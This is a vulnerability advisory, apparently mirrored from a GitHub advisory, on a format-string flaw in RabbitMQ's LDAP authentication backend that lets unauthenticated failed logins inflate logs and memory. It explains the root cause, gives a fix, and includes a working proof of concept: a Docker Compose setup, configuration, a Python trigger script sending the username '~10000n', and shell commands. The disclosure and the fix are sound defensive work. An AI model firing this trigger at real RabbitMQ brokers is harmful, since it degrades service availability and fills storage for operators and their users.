DHI-6ihf-f7sq-wzqu-kr47

Source
https://scout.docker.com/v/DHI-6ihf-f7sq-wzqu-kr47
Import Source
https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-6ihf-f7sq-wzqu-kr47.json
JSON Data
https://api.osv.dev/v1/vulns/DHI-6ihf-f7sq-wzqu-kr47
Upstream
  • GHSA-3wxh-g236-vm46
Published
2026-11-11T23:09:35Z
Modified
2026-11-16T02:34:26Z
Summary
### Summary
Details

Summary

An unauthenticated client can amplify RabbitMQ's broker logs by sending a failed AMQP PLAIN login when rabbitmq_auth_backend_ldap is enabled with a user_dn_pattern containing ${username}.

After OpenLDAP rejects the bind, the LDAP backend returns the constructed user DN as the format-string element of {refused, Format, Args}. RabbitMQ's core authentication path then passes that attacker-influenced DN to Erlang formatting functions. A short username such as ~10000n expands into 10,000 newlines at each of two refusal sinks.

This is not an authentication bypass, an LDAP protocol flaw, or remote code execution. The demonstrated impact is unauthenticated availability degradation through log, disk, formatting, and per-connection memory amplification.

Environment and affected versions

The end-to-end validation used:

  • A RabbitMQ source build on Erlang 27.3.4.17
  • An isolated AMQP listener
  • The bundled rabbitmq_auth_backend_ldap plugin
  • A real OpenLDAP service
  • user_dn_pattern = cn=${username},dc=dast,dc=local

The complete LDAP-to-format chain was separately confirmed in RabbitMQ tags v3.13.7, v4.0.9, v4.1.8, v4.2.9, and v4.3.6, and on current main. No fixed release was identified. These are verified affected snapshots; an exact first affected release was not established.

Workarounds

Disable the LDAP plugin and switch to another authN backend.

Root cause

In RabbitMQ 4.3.6, with_login/5 in deps/rabbitmq_auth_backend_ldap/src/rabbit_auth_backend_ldap.erl returns the rejected bind DN as a format string:

{error, invalidCredentials} ->
    ?L1("bind returned \"invalid credentials\": ~ts",
        [scrub_dn(UserDN, env(log))]),
    {refused, UserDN, []};

check_user_login/3 in deps/rabbit/src/rabbit_access_control.erl formats it for the authentication warning:

{refused, _, Msg, Args} ->
    ?LOG_WARNING("User '~ts' failed to authenticate: ~ts",
                 [Username, rabbit_misc:format(Msg, Args)],
                 #{domain => ?RMQLOG_DOMAIN_USER})

auth_fail/5 in deps/rabbit/src/rabbit_reader.erl formats the same value for the authentication event and protocol error:

notify_auth_result(Username, user_authentication_failure,
  [{error, rabbit_misc:format(Msg, Args)}], State),
AmqpError = rabbit_misc:amqp_error(
              access_refused, "~ts login refused: ~ts",
              [AuthName, io_lib:format(Msg, Args)], none),

RFC 4514 DN escaping does not remove ~, so Erlang interprets ~10000n as a no-argument newline directive with field width 10,000.

Demonstrated impact

One invalid login with username ~10000n changed the broker log from 139,235 bytes to 1,199,691 bytes. The 1,060,456-byte increase contained 20,004 lines. The warning and subsequent AMQP error each contained 10,000 attacker-generated newlines, and the logger prefixed each line with metadata.

An ordinary invalid username did not cause comparable expansion. A ~1000n control produced a 106,455-byte increase, confirming that output scales with the field width. The client received the normal ACCESS_REFUSED response in every case.

Widths of 100,000 and 1,000,000 exceeded the connection process's heap allowance before a full amplified message reached the log. Those trials temporarily increased broker RSS by approximately 11 MiB and 14 MiB. They did not demonstrate a broker-wide crash or a full-width log write, so neither is claimed.

Repeated stable-width requests can consume log storage and logging throughput at a large amplification ratio. No confidentiality impact was observed. The CVSS vector uses AT:P because the LDAP plugin and username-based DN pattern must be configured.

Proof of concept

Warning: run this only in a disposable environment with adequate log space. The trigger deliberately amplifies logs. Do not increase the field width or repeat it against a shared broker.

Create compose.yaml:

services:
  openldap:
    image: osixia/openldap:1.5.0
    hostname: openldap
    environment:
      LDAP_ORGANISATION: RabbitMQ PoC
      LDAP_DOMAIN: dast.local
      LDAP_ADMIN_PASSWORD: admin
    healthcheck:
      test: ["CMD", "ldapsearch", "-x", "-H", "ldap://localhost:389", "-b", "dc=dast,dc=local"]
      interval: 5s
      timeout: 3s
      retries: 20

  rabbitmq:
    image: rabbitmq:4.3.6
    hostname: rabbitmq
    depends_on:
      openldap:
        condition: service_healthy
    volumes:
      - ./rabbitmq.conf:/etc/rabbitmq/rabbitmq.conf:ro
      - ./enabled_plugins:/etc/rabbitmq/enabled_plugins:ro
    ports:
      - "127.0.0.1:5673:5673"
    healthcheck:
      test: ["CMD", "rabbitmq-diagnostics", "-q", "ping"]
      interval: 5s
      timeout: 5s
      retries: 30

Create rabbitmq.conf:

listeners.tcp.default = 5673
loopback_users.guest = false

auth_backends.1 = ldap
auth_ldap.servers.1 = openldap
auth_ldap.port = 389
auth_ldap.use_ssl = false
auth_ldap.user_dn_pattern = cn=${username},dc=dast,dc=local
auth_ldap.log = false

Create enabled_plugins:

[rabbitmq_auth_backend_ldap].

Install Pika 1.3.2 and save the following as trigger.py:

#!/usr/bin/env python3
import argparse

import pika


def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=5673)
    parser.add_argument("--username", default="~10000n")
    return parser.parse_args()


def main():
    args = parse_args()
    credentials = pika.PlainCredentials(
        args.username, "wrong-password", erase_on_connect=False
    )
    parameters = pika.ConnectionParameters(
        host=args.host,
        port=args.port,
        credentials=credentials,
        connection_attempts=1,
        socket_timeout=5,
        stack_timeout=10,
    )

    try:
        connection = pika.BlockingConnection(parameters)
    except Exception as exc:
        print(f"username={args.username!r}")
        print(f"result={type(exc).__name__}: {exc}")
        return 0

    connection.close()
    print("unexpected authentication success")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Start the disposable services, record the log size, and send one request:

docker compose up -d --wait
python3 -m venv .venv
.venv/bin/pip install 'pika==1.3.2'
before=$(docker compose logs --no-color --no-log-prefix rabbitmq | wc -c)
.venv/bin/python trigger.py
after=$(docker compose logs --no-color --no-log-prefix rabbitmq | wc -c)
printf 'log delta: %s bytes\n' "$((after - before))"

The validated request returned:

username='~10000n'
result=ProbableAuthenticationError: ConnectionClosedByBroker: (403) 'ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.'

Container log drivers add framing, so the portable setup's byte count can differ from the 1,060,456-byte broker-file segment measured during validation.

Inspect and remove the environment:

docker compose logs --no-color --no-log-prefix rabbitmq
docker compose down -v

Remediation

Do not put UserDN in the format-string position. Return a fixed template, preferably a generic refusal because a scrubbed DN is already available to diagnostic logging:

{error, invalidCredentials} ->
    ?L1("bind returned \"invalid credentials\": ~ts",
        [scrub_dn(UserDN, env(log))]),
    {refused, "LDAP bind was refused", []};

Document and enforce that {refused, Format, Args} requires a trusted Format, then audit other authentication backends for request data in that position. Add regression tests for AMQP 0-9-1, AMQP 1.0, and web-dispatch refusals containing ~n, large field widths, and ordinary tildes. Each test should assert bounded output and a normal authentication rejection.

Credit: Opensec Intelligence

References

Affected packages

Docker Hardened Images:Debian:13 / rabbitmq-4.3

Package

Name
rabbitmq-4.3
Purl
pkg:deb/dhi/rabbitmq-4.3

Affected ranges

Affected versions

4.*
4.3.5-0
4.3.5-1
4.3.6-0
4.3.6-1
4.3.6-2

Database specific

owner_kind
"HSP"
source
"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-6ihf-f7sq-wzqu-kr47.json"